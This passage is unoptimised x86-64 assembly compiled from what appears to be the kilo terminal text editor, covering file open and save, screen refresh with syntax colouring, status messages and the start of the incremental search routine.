movl _E+8(%rip), %eax
addl _E+4(%rip), %eax
movl %eax, -4(%rbp)
movl _E+12(%rip), %eax
addl _E(%rip), %eax
movl %eax, -8(%rbp)
movl -4(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB21_2
## %bb.1:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -32(%rbp) ## 8-byte Spill
jmp LBB21_3
LBB21_2:
movq _E+32(%rip), %rax
movslq -4(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -32(%rbp) ## 8-byte Spill
LBB21_3:
movq -32(%rbp), %rax ## 8-byte Reload
movq %rax, -16(%rbp)
cmpq $0, -16(%rbp)
je LBB21_6
## %bb.4:
cmpl $0, -8(%rbp)
jne LBB21_7
## %bb.5:
cmpl $0, -4(%rbp)
jne LBB21_7
LBB21_6:
jmp LBB21_22
LBB21_7:
cmpl $0, -8(%rbp)
jne LBB21_14
## %bb.8:
movq _E+32(%rip), %rax
movl -4(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
movl %eax, -8(%rbp)
movq _E+32(%rip), %rdi
movl -4(%rbp), %eax
subl $1, %eax
cltq
imulq $48, %rax, %rax
addq %rax, %rdi
movq -16(%rbp), %rax
movq 16(%rax), %rsi
movq -16(%rbp), %rax
movslq 4(%rax), %rdx
callq _editorRowAppendString
movl -4(%rbp), %edi
callq _editorDelRow
movq $0, -16(%rbp)
cmpl $0, _E+4(%rip)
jne LBB21_10
## %bb.9:
movl _E+8(%rip), %eax
addl $-1, %eax
movl %eax, _E+8(%rip)
jmp LBB21_11
LBB21_10:
movl _E+4(%rip), %eax
addl $-1, %eax
movl %eax, _E+4(%rip)
LBB21_11:
movl -8(%rbp), %eax
movl %eax, _E(%rip)
movl _E(%rip), %eax
cmpl _E+20(%rip), %eax
jl LBB21_13
## %bb.12:
movl _E+20(%rip), %eax
subl _E(%rip), %eax
addl $1, %eax
movl %eax, -20(%rbp)
movl -20(%rbp), %ecx
movl _E(%rip), %eax
subl %ecx, %eax
movl %eax, _E(%rip)
movl -20(%rbp), %eax
addl _E+12(%rip), %eax
movl %eax, _E+12(%rip)
LBB21_13:
jmp LBB21_19
LBB21_14:
movq -16(%rbp), %rdi
movl -8(%rbp), %esi
subl $1, %esi
callq _editorRowDelChar
cmpl $0, _E(%rip)
jne LBB21_17
## %bb.15:
cmpl $0, _E+12(%rip)
je LBB21_17
## %bb.16:
movl _E+12(%rip), %eax
addl $-1, %eax
movl %eax, _E+12(%rip)
jmp LBB21_18
LBB21_17:
movl _E(%rip), %eax
addl $-1, %eax
movl %eax, _E(%rip)
LBB21_18:
jmp LBB21_19
LBB21_19:
cmpq $0, -16(%rbp)
je LBB21_21
## %bb.20:
movq -16(%rbp), %rdi
callq _editorUpdateRow
LBB21_21:
movl _E+40(%rip), %eax
addl $1, %eax
movl %eax, _E+40(%rip)
LBB21_22:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorOpen ## -- Begin function editorOpen
.p2align 4, 0x90
_editorOpen: ## @editorOpen
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -16(%rbp)
movl $0, _E+40(%rip)
movq _E+48(%rip), %rdi
callq _free
movq -16(%rbp), %rdi
callq _strdup
movq %rax, _E+48(%rip)
movq -16(%rbp), %rdi
leaq L_.str.30(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB22_4
## %bb.1:
callq ___error
cmpl $2, (%rax)
je LBB22_3
## %bb.2:
leaq L_.str.31(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB22_3:
movl $1, -4(%rbp)
jmp LBB22_12
LBB22_4:
movq $0, -32(%rbp)
movq $0, -40(%rbp)
LBB22_5: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rdx
leaq -32(%rbp), %rdi
leaq -40(%rbp), %rsi
callq _getline
movq %rax, -48(%rbp)
cmpq $-1, %rax
je LBB22_11
## %bb.6: ## in Loop: Header=BB22_5 Depth=1
cmpq $0, -48(%rbp)
je LBB22_10
## %bb.7: ## in Loop: Header=BB22_5 Depth=1
movq -32(%rbp), %rax
movq -48(%rbp), %rcx
subq $1, %rcx
movsbl (%rax,%rcx), %eax
cmpl $10, %eax
je LBB22_9
## %bb.8: ## in Loop: Header=BB22_5 Depth=1
movq -32(%rbp), %rax
movq -48(%rbp), %rcx
subq $1, %rcx
movsbl (%rax,%rcx), %eax
cmpl $13, %eax
jne LBB22_10
LBB22_9: ## in Loop: Header=BB22_5 Depth=1
movq -32(%rbp), %rax
movq -48(%rbp), %rcx
movq %rcx, %rdx
addq $-1, %rdx
movq %rdx, -48(%rbp)
movb $0, -1(%rax,%rcx)
LBB22_10: ## in Loop: Header=BB22_5 Depth=1
movl _E+24(%rip), %edi
movq -32(%rbp), %rsi
movq -48(%rbp), %rdx
callq _editorInsertRow
jmp LBB22_5
LBB22_11:
movq -32(%rbp), %rdi
callq _free
movq -24(%rbp), %rdi
callq _fclose
movl $0, _E+40(%rip)
movl $0, -4(%rbp)
LBB22_12:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorSave ## -- Begin function editorSave
.p2align 4, 0x90
_editorSave: ## @editorSave
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
leaq -8(%rbp), %rdi
callq _editorRowsToString
movq %rax, -16(%rbp)
movq _E+48(%rip), %rdi
movl $514, %esi ## imm = 0x202
movl $420, %edx ## imm = 0x1A4
movb $0, %al
callq _open
movl %eax, -20(%rbp)
cmpl $-1, -20(%rbp)
jne LBB23_2
## %bb.1:
jmp LBB23_7
LBB23_2:
movl -20(%rbp), %edi
movslq -8(%rbp), %rsi
callq _ftruncate
cmpl $-1, %eax
jne LBB23_4
## %bb.3:
jmp LBB23_7
LBB23_4:
movl -20(%rbp), %edi
movq -16(%rbp), %rsi
movslq -8(%rbp), %rdx
callq _write
movslq -8(%rbp), %rcx
cmpq %rcx, %rax
je LBB23_6
## %bb.5:
jmp LBB23_7
LBB23_6:
movl -20(%rbp), %edi
callq _close
movq -16(%rbp), %rdi
callq _free
movl $0, _E+40(%rip)
movl -8(%rbp), %esi
leaq L_.str.32(%rip), %rdi
movb $0, %al
callq _editorSetStatusMessage
movl $0, -4(%rbp)
jmp LBB23_10
LBB23_7:
movq -16(%rbp), %rdi
callq _free
cmpl $-1, -20(%rbp)
je LBB23_9
## %bb.8:
movl -20(%rbp), %edi
callq _close
LBB23_9:
callq ___error
movl (%rax), %edi
callq _strerror
movq %rax, %rsi
leaq L_.str.33(%rip), %rdi
movb $0, %al
callq _editorSetStatusMessage
movl $1, -4(%rbp)
LBB23_10:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorSetStatusMessage ## -- Begin function editorSetStatusMessage
.p2align 4, 0x90
_editorSetStatusMessage: ## @editorSetStatusMessage
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $224, %rsp
testb %al, %al
je LBB24_4
## %bb.3:
movaps %xmm0, -176(%rbp)
movaps %xmm1, -160(%rbp)
movaps %xmm2, -144(%rbp)
movaps %xmm3, -128(%rbp)
movaps %xmm4, -112(%rbp)
movaps %xmm5, -96(%rbp)
movaps %xmm6, -80(%rbp)
movaps %xmm7, -64(%rbp)
LBB24_4:
movq %r9, -184(%rbp)
movq %r8, -192(%rbp)
movq %rcx, -200(%rbp)
movq %rdx, -208(%rbp)
movq %rsi, -216(%rbp)
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -40(%rbp)
leaq -32(%rbp), %rax
leaq -224(%rbp), %rcx
movq %rcx, 16(%rax)
leaq 16(%rbp), %rcx
movq %rcx, 8(%rax)
movl $48, 4(%rax)
movl $8, (%rax)
movq -40(%rbp), %r8
leaq -32(%rbp), %r9
leaq _E(%rip), %rdi
addq $56, %rdi
movl $80, %ecx
xorl %edx, %edx
movq %rcx, %rsi
callq ___vsnprintf_chk
leaq -32(%rbp), %rax
xorl %eax, %eax
movl %eax, %edi
callq _time
movq %rax, _E+136(%rip)
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB24_2
## %bb.1:
addq $224, %rsp
popq %rbp
retq
LBB24_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _abAppend ## -- Begin function abAppend
.p2align 4, 0x90
_abAppend: ## @abAppend
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl %edx, -20(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rdi
movq -8(%rbp), %rax
movl 8(%rax), %eax
addl -20(%rbp), %eax
movslq %eax, %rsi
callq _realloc
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne LBB25_2
## %bb.1:
jmp LBB25_3
LBB25_2:
movq -32(%rbp), %rdi
movq -8(%rbp), %rax
movslq 8(%rax), %rax
addq %rax, %rdi
movq -16(%rbp), %rsi
movslq -20(%rbp), %rdx
movq $-1, %rcx
callq ___memcpy_chk
movq -32(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movl -20(%rbp), %ecx
movq -8(%rbp), %rax
addl 8(%rax), %ecx
movl %ecx, 8(%rax)
LBB25_3:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _abFree ## -- Begin function abFree
.p2align 4, 0x90
_abFree: ## @abFree
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _free
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _editorRefreshScreen ## -- Begin function editorRefreshScreen
.p2align 4, 0x90
_editorRefreshScreen: ## @editorRefreshScreen
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $464, %rsp ## imm = 0x1D0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
leaq -336(%rbp), %rdi
xorl %esi, %esi
movl $16, %edx
callq _memset
leaq -336(%rbp), %rdi
leaq L_.str.34(%rip), %rsi
movl $6, %edx
callq _abAppend
leaq -336(%rbp), %rdi
leaq L_.str.35(%rip), %rsi
movl $3, %edx
callq _abAppend
movl $0, -308(%rbp)
LBB27_1: ## =>This Loop Header: Depth=1
## Child Loop BB27_8 Depth 2
## Child Loop BB27_17 Depth 2
movl -308(%rbp), %eax
cmpl _E+16(%rip), %eax
jge LBB27_36
## %bb.2: ## in Loop: Header=BB27_1 Depth=1
movl _E+8(%rip), %eax
addl -308(%rbp), %eax
movl %eax, -340(%rbp)
movl -340(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB27_13
## %bb.3: ## in Loop: Header=BB27_1 Depth=1
cmpl $0, _E+24(%rip)
jne LBB27_11
## %bb.4: ## in Loop: Header=BB27_1 Depth=1
movl -308(%rbp), %eax
movl %eax, -428(%rbp) ## 4-byte Spill
movl _E+16(%rip), %eax
movl $3, %ecx
cltd
idivl %ecx
movl %eax, %ecx
movl -428(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
jne LBB27_11
## %bb.5: ## in Loop: Header=BB27_1 Depth=1
leaq -128(%rbp), %rdi
movl $80, %ecx
xorl %edx, %edx
leaq L_.str.36(%rip), %r8
leaq L_.str.37(%rip), %r9
movq %rcx, %rsi
movb $0, %al
callq ___snprintf_chk
movl %eax, -344(%rbp)
movl _E+20(%rip), %eax
subl -344(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, -348(%rbp)
cmpl $0, -348(%rbp)
je LBB27_7
## %bb.6: ## in Loop: Header=BB27_1 Depth=1
leaq -336(%rbp), %rdi
leaq L_.str.38(%rip), %rsi
movl $1, %edx
callq _abAppend
movl -348(%rbp), %eax
addl $-1, %eax
movl %eax, -348(%rbp)
LBB27_7: ## in Loop: Header=BB27_1 Depth=1
jmp LBB27_8
LBB27_8: ## Parent Loop BB27_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -348(%rbp), %eax
movl %eax, %ecx
addl $-1, %ecx
movl %ecx, -348(%rbp)
cmpl $0, %eax
je LBB27_10
## %bb.9: ## in Loop: Header=BB27_8 Depth=2
leaq -336(%rbp), %rdi
leaq L_.str.39(%rip), %rsi
movl $1, %edx
callq _abAppend
jmp LBB27_8
LBB27_10: ## in Loop: Header=BB27_1 Depth=1
leaq -128(%rbp), %rsi
movl -344(%rbp), %edx
leaq -336(%rbp), %rdi
callq _abAppend
jmp LBB27_12
LBB27_11: ## in Loop: Header=BB27_1 Depth=1
leaq -336(%rbp), %rdi
leaq L_.str.40(%rip), %rsi
movl $7, %edx
callq _abAppend
LBB27_12: ## in Loop: Header=BB27_1 Depth=1
jmp LBB27_35
LBB27_13: ## in Loop: Header=BB27_1 Depth=1
movq _E+32(%rip), %rax
movslq -340(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -320(%rbp)
movq -320(%rbp), %rax
movl 8(%rax), %eax
subl _E+12(%rip), %eax
movl %eax, -352(%rbp)
movl $-1, -356(%rbp)
cmpl $0, -352(%rbp)
jle LBB27_34
## %bb.14: ## in Loop: Header=BB27_1 Depth=1
movl -352(%rbp), %eax
cmpl _E+20(%rip), %eax
jle LBB27_16
## %bb.15: ## in Loop: Header=BB27_1 Depth=1
movl _E+20(%rip), %eax
movl %eax, -352(%rbp)
LBB27_16: ## in Loop: Header=BB27_1 Depth=1
movq -320(%rbp), %rax
movq 24(%rax), %rax
movslq _E+12(%rip), %rcx
addq %rcx, %rax
movq %rax, -368(%rbp)
movq -320(%rbp), %rax
movq 32(%rax), %rax
movslq _E+12(%rip), %rcx
addq %rcx, %rax
movq %rax, -376(%rbp)
movl $0, -380(%rbp)
LBB27_17: ## Parent Loop BB27_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -380(%rbp), %eax
cmpl -352(%rbp), %eax
jge LBB27_33
## %bb.18: ## in Loop: Header=BB27_17 Depth=2
movq -376(%rbp), %rax
movslq -380(%rbp), %rcx
movzbl (%rax,%rcx), %eax
cmpl $1, %eax
jne LBB27_23
## %bb.19: ## in Loop: Header=BB27_17 Depth=2
leaq -336(%rbp), %rdi
leaq L_.str.41(%rip), %rsi
movl $4, %edx
callq _abAppend
movq -368(%rbp), %rax
movslq -380(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $26, %eax
jg LBB27_21
## %bb.20: ## in Loop: Header=BB27_17 Depth=2
movq -368(%rbp), %rax
movslq -380(%rbp), %rcx
movsbl (%rax,%rcx), %eax
addl $64, %eax
## kill: def $al killed $al killed $eax
movb %al, -381(%rbp)
jmp LBB27_22
LBB27_21: ## in Loop: Header=BB27_17 Depth=2
movb $63, -381(%rbp)
LBB27_22: ## in Loop: Header=BB27_17 Depth=2
leaq -336(%rbp), %rdi
leaq -381(%rbp), %rsi
movl $1, %edx
callq _abAppend
leaq -336(%rbp), %rdi
leaq L_.str.42(%rip), %rsi
movl $4, %edx
callq _abAppend
jmp LBB27_31
LBB27_23: ## in Loop: Header=BB27_17 Depth=2
movq -376(%rbp), %rax
movslq -380(%rbp), %rcx
movzbl (%rax,%rcx), %eax
cmpl $0, %eax
jne LBB27_27
## %bb.24: ## in Loop: Header=BB27_17 Depth=2
cmpl $-1, -356(%rbp)
je LBB27_26
## %bb.25: ## in Loop: Header=BB27_17 Depth=2
leaq -336(%rbp), %rdi
leaq L_.str.43(%rip), %rsi
movl $5, %edx
callq _abAppend
movl $-1, -356(%rbp)
LBB27_26: ## in Loop: Header=BB27_17 Depth=2
movq -368(%rbp), %rsi
movslq -380(%rbp), %rax
addq %rax, %rsi
leaq -336(%rbp), %rdi
movl $1, %edx
callq _abAppend
jmp LBB27_30
LBB27_27: ## in Loop: Header=BB27_17 Depth=2
movq -376(%rbp), %rax
movslq -380(%rbp), %rcx
movzbl (%rax,%rcx), %edi
callq _editorSyntaxToColor
movl %eax, -388(%rbp)
movl -388(%rbp), %eax
cmpl -356(%rbp), %eax
je LBB27_29
## %bb.28: ## in Loop: Header=BB27_17 Depth=2
leaq -144(%rbp), %rdi
movl -388(%rbp), %r9d
movl $16, %ecx
xorl %edx, %edx
leaq L_.str.44(%rip), %r8
movq %rcx, %rsi
movb $0, %al
callq ___snprintf_chk
movl %eax, -392(%rbp)
movl -388(%rbp), %eax
movl %eax, -356(%rbp)
leaq -144(%rbp), %rsi
movl -392(%rbp), %edx
leaq -336(%rbp), %rdi
callq _abAppend
LBB27_29: ## in Loop: Header=BB27_17 Depth=2
movq -368(%rbp), %rsi
movslq -380(%rbp), %rax
addq %rax, %rsi
leaq -336(%rbp), %rdi
movl $1, %edx
callq _abAppend
LBB27_30: ## in Loop: Header=BB27_17 Depth=2
jmp LBB27_31
LBB27_31: ## in Loop: Header=BB27_17 Depth=2
jmp LBB27_32
LBB27_32: ## in Loop: Header=BB27_17 Depth=2
movl -380(%rbp), %eax
addl $1, %eax
movl %eax, -380(%rbp)
jmp LBB27_17
LBB27_33: ## in Loop: Header=BB27_1 Depth=1
jmp LBB27_34
LBB27_34: ## in Loop: Header=BB27_1 Depth=1
leaq -336(%rbp), %rdi
leaq L_.str.43(%rip), %rsi
movl $5, %edx
callq _abAppend
leaq -336(%rbp), %rdi
leaq L_.str.45(%rip), %rsi
movl $4, %edx
callq _abAppend
leaq -336(%rbp), %rdi
leaq L_.str.46(%rip), %rsi
movl $2, %edx
callq _abAppend
LBB27_35: ## in Loop: Header=BB27_1 Depth=1
movl -308(%rbp), %eax
addl $1, %eax
movl %eax, -308(%rbp)
jmp LBB27_1
LBB27_36:
leaq -336(%rbp), %rdi
leaq L_.str.45(%rip), %rsi
movl $4, %edx
callq _abAppend
leaq -336(%rbp), %rdi
leaq L_.str.41(%rip), %rsi
movl $4, %edx
callq _abAppend
leaq -224(%rbp), %rdi
movq _E+48(%rip), %r9
movl _E+24(%rip), %r10d
movl _E+40(%rip), %edx
leaq L_.str.29(%rip), %rax
leaq L_.str.48(%rip), %rcx
cmpl $0, %edx
cmovneq %rcx, %rax
movl $80, %ecx
xorl %edx, %edx
leaq L_.str.47(%rip), %r8
movq %rcx, %rsi
movl %r10d, (%rsp)
movq %rax, 8(%rsp)
movb $0, %al
callq ___snprintf_chk
movl %eax, -396(%rbp)
leaq -304(%rbp), %rdi
movl _E+8(%rip), %r9d
addl _E+4(%rip), %r9d
addl $1, %r9d
movl _E+24(%rip), %eax
movl $80, %ecx
xorl %edx, %edx
leaq L_.str.49(%rip), %r8
movq %rcx, %rsi
movl %eax, (%rsp)
movb $0, %al
callq ___snprintf_chk
movl %eax, -400(%rbp)
movl -396(%rbp), %eax
cmpl _E+20(%rip), %eax
jle LBB27_38
## %bb.37:
movl _E+20(%rip), %eax
movl %eax, -396(%rbp)
LBB27_38:
leaq -224(%rbp), %rsi
movl -396(%rbp), %edx
leaq -336(%rbp), %rdi
callq _abAppend
LBB27_39: ## =>This Inner Loop Header: Depth=1
movl -396(%rbp), %eax
cmpl _E+20(%rip), %eax
jge LBB27_44
## %bb.40: ## in Loop: Header=BB27_39 Depth=1
movl _E+20(%rip), %eax
subl -396(%rbp), %eax
cmpl -400(%rbp), %eax
jne LBB27_42
## %bb.41:
leaq -304(%rbp), %rsi
movl -400(%rbp), %edx
leaq -336(%rbp), %rdi
callq _abAppend
jmp LBB27_44
LBB27_42: ## in Loop: Header=BB27_39 Depth=1
leaq -336(%rbp), %rdi
leaq L_.str.39(%rip), %rsi
movl $1, %edx
callq _abAppend
movl -396(%rbp), %eax
addl $1, %eax
movl %eax, -396(%rbp)
## %bb.43: ## in Loop: Header=BB27_39 Depth=1
jmp LBB27_39
LBB27_44:
leaq -336(%rbp), %rdi
leaq L_.str.50(%rip), %rsi
movl $6, %edx
callq _abAppend
leaq -336(%rbp), %rdi
leaq L_.str.45(%rip), %rsi
movl $4, %edx
callq _abAppend
leaq _E+56(%rip), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -404(%rbp)
cmpl $0, -404(%rbp)
je LBB27_50
## %bb.45:
xorl %eax, %eax
movl %eax, %edi
callq _time
subq _E+136(%rip), %rax
cmpq $5, %rax
jge LBB27_50
## %bb.46:
movl -404(%rbp), %eax
cmpl _E+20(%rip), %eax
jg LBB27_48
## %bb.47:
movl -404(%rbp), %eax
movl %eax, -432(%rbp) ## 4-byte Spill
jmp LBB27_49
LBB27_48:
movl _E+20(%rip), %eax
movl %eax, -432(%rbp) ## 4-byte Spill
LBB27_49:
movl -432(%rbp), %edx ## 4-byte Reload
leaq -336(%rbp), %rdi
leaq _E(%rip), %rsi
addq $56, %rsi
callq _abAppend
LBB27_50:
movl $1, -412(%rbp)
movl _E+8(%rip), %eax
addl _E+4(%rip), %eax
movl %eax, -416(%rbp)
movl -416(%rbp), %eax
cmpl _E+24(%rip), %eax
jl LBB27_52
## %bb.51:
xorl %eax, %eax
## kill: def $rax killed $eax
movq %rax, -440(%rbp) ## 8-byte Spill
jmp LBB27_53
LBB27_52:
movq _E+32(%rip), %rax
movslq -416(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq %rax, -440(%rbp) ## 8-byte Spill
LBB27_53:
movq -440(%rbp), %rax ## 8-byte Reload
movq %rax, -424(%rbp)
cmpq $0, -424(%rbp)
je LBB27_62
## %bb.54:
movl _E+12(%rip), %eax
movl %eax, -408(%rbp)
LBB27_55: ## =>This Inner Loop Header: Depth=1
movl -408(%rbp), %eax
movl _E(%rip), %ecx
addl _E+12(%rip), %ecx
cmpl %ecx, %eax
jge LBB27_61
## %bb.56: ## in Loop: Header=BB27_55 Depth=1
movl -408(%rbp), %eax
movq -424(%rbp), %rcx
cmpl 4(%rcx), %eax
jge LBB27_59
## %bb.57: ## in Loop: Header=BB27_55 Depth=1
movq -424(%rbp), %rax
movq 16(%rax), %rax
movslq -408(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $9, %eax
jne LBB27_59
## %bb.58: ## in Loop: Header=BB27_55 Depth=1
movl -412(%rbp), %eax
movl $8, %ecx
cltd
idivl %ecx
movl $7, %eax
subl %edx, %eax
addl -412(%rbp), %eax
movl %eax, -412(%rbp)
LBB27_59: ## in Loop: Header=BB27_55 Depth=1
movl -412(%rbp), %eax
addl $1, %eax
movl %eax, -412(%rbp)
## %bb.60: ## in Loop: Header=BB27_55 Depth=1
movl -408(%rbp), %eax
addl $1, %eax
movl %eax, -408(%rbp)
jmp LBB27_55
LBB27_61:
jmp LBB27_62
LBB27_62:
leaq -48(%rbp), %rdi
movl _E+4(%rip), %r9d
addl $1, %r9d
movl -412(%rbp), %eax
movl $32, %ecx
xorl %edx, %edx
leaq L_.str.27(%rip), %r8
movq %rcx, %rsi
movl %eax, (%rsp)
movb $0, %al
callq ___snprintf_chk
leaq -48(%rbp), %rax
movq %rax, -448(%rbp) ## 8-byte Spill
leaq -48(%rbp), %rdi
callq _strlen
movq -448(%rbp), %rsi ## 8-byte Reload
movl %eax, %edx
leaq -336(%rbp), %rdi
callq _abAppend
leaq -336(%rbp), %rdi
leaq L_.str.51(%rip), %rsi
movl $6, %edx
callq _abAppend
movq -336(%rbp), %rsi
movslq -328(%rbp), %rdx
movl $1, %edi
callq _write
leaq -336(%rbp), %rdi
callq _abFree
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB27_64
## %bb.63:
addq $464, %rsp ## imm = 0x1D0
popq %rbp
retq
LBB27_64:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _editorFind ## -- Begin function editorFind
.p2align 4, 0x90
_editorFind: ## @editorFind
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $368, %rsp ## imm = 0x170
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -276(%rbp)
leaq -272(%rbp), %rdi
xorl %esi, %esi
movl $257, %edx ## imm = 0x101
callq _memset
movl $0, -280(%rbp)
movl $-1, -284(%rbp)
movl $0, -288(%rbp)
movl $-1, -292(%rbp)
movq $0, -304(%rbp)
movl _E(%rip), %eax
movl %eax, -308(%rbp)
movl _E+4(%rip), %eax
movl %eax, -312(%rbp)
movl _E+12(%rip), %eax
movl %eax, -316(%rbp)
movl _E+8(%rip), %eax
movl %eax, -320(%rbp)
LBB28_1: ## =>This Loop Header: Depth=1
## Child Loop BB28_35 Depth 2
leaq -272(%rbp), %rsi
leaq L_.str.52(%rip), %rdi
movb $0, %al
callq _editorSetStatusMessage
callq _editorRefreshScreen
movl -276(%rbp), %edi
callq _editorReadKey
movl %eax, -324(%rbp)
cmpl $1004, -324(%rbp) ## imm = 0x3EC
je LBB28_4
## %bb.2: ## in Loop: Header=BB28_1 Depth=1
cmpl $8, -324(%rbp)
je LBB28_4
## %bb.3: ## in Loop: Header=BB28_1 Depth=1
cmpl $127, -324(%rbp)
jne LBB28_7
LBB28_4: ## in Loop: Header=BB28_1 Depth=1
cmpl $0, -280(%rbp)
je LBB28_6
## %bb.5: ## in Loop: Header=BB28_1 Depth=1
movl -280(%rbp), %eax
addl $-1, %eax
movl %eax, -280(%rbp)
cltq
movb $0, -272(%rbp,%rax)
LBB28_6: ## in Loop: Header=BB28_1 Depth=1
movl $-1, -284(%rbp)
jmp LBB28_31
LBB28_7: ## in Loop: Header=BB28_1 Depth=1
cmpl $27, -324(%rbp)
je LBB28_9
## %bb.8: ## in Loop: Header=BB28_1 Depth=1
cmpl $13, -324(%rbp)
jne LBB28_17
LBB28_9:
cmpl $27, -324(%rbp)
jne LBB28_11
## %bb.10:
movl -308(%rbp), %eax
movl %eax, _E(%rip)
movl -312(%rbp), %eax
movl %eax, _E+4(%rip)
movl -316(%rbp), %eax
movl %eax, _E+12(%rip)
movl -320(%rbp), %eax
movl %eax, _E+8(%rip)
LBB28_11:
jmp LBB28_12
LBB28_12:
cmpq $0, -304(%rbp)
je LBB28_14
## %bb.13:
movq _E+32(%rip), %rax
movslq -292(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movq 32(%rax), %rdi
movq -304(%rbp), %rsi
movq _E+32(%rip), %rax
movslq -292(%rbp), %rcx
imulq $48, %rcx, %rcx
addq %rcx, %rax
movslq 8(%rax), %rdx
movq $-1, %rcx
callq ___memcpy_chk
movq $0, -304(%rbp)
LBB28_14:
jmp LBB28_15
LBB28_15:
leaq L_.str.29(%rip), %rdi
movb $0, %al
callq _editorSetStatusMessage
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB28_57
## %bb.16:
addq $368, %rsp ## imm = 0x170
popq %rbp
retq
LBB28_17: ## in Loop: Header=BB28_1 Depth=1
cmpl $1001, -324(%rbp) ## imm = 0x3E9
je LBB28_19
## %bb.18: ## in Loop: Header=BB28_1 Depth=1
cmpl $1003, -324(%rbp) ## imm = 0x3EB
jne LBB28_20
LBB28_19: ## in Loop: Header=BB28_1 Depth=1
movl $1, -288(%rbp)
jmp LBB28_29
LBB28_20: ## in Loop: Header=BB28_1 Depth=1
cmpl $1000, -324(%rbp) ## imm = 0x3E8
je LBB28_22
## %bb.21: ## in Loop: Header=BB28_1 Depth=1
cmpl $1002, -324(%rbp) ## imm = 0x3EA
jne LBB28_23
LBB28_22: ## in Loop: Header=BB28_1 Depth=1
movl $-1, -288(%rbp)
jmp LBB28_28
LBB28_23: ## in Loop: Header=BB28_1 Depth=1
movl -324(%rbp), %edi
callq _isprint
cmpl $0, %eax
je LBB28_27
## %bb.24: ## in Loop: Header=BB28_1 Depth=1
cmpl $256, -280(%rbp) ## imm = 0x100
jge LBB28_26
## %bb.25: ## in Loop: Header=BB28_1 Depth=1
movl -324(%rbp), %eax
movb %al, %cl
movl -280(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -280(%rbp)
cltq
movb %cl, -272(%rbp,%rax)
movslq -280(%rbp), %rax
movb $0, -272(%rbp,%rax)
movl $-1, -284(%rbp)
LBB28_26: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_27
LBB28_27: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_28
LBB28_28: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_29
LBB28_29: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_30
LBB28_30: ## in Loop: Header=BB28_1 Depth=1
jmp LBB28_31
LBB28_31: ## in Loop: Header=BB28_1 Depth=1
cmpl $-1, -284(%rbp)
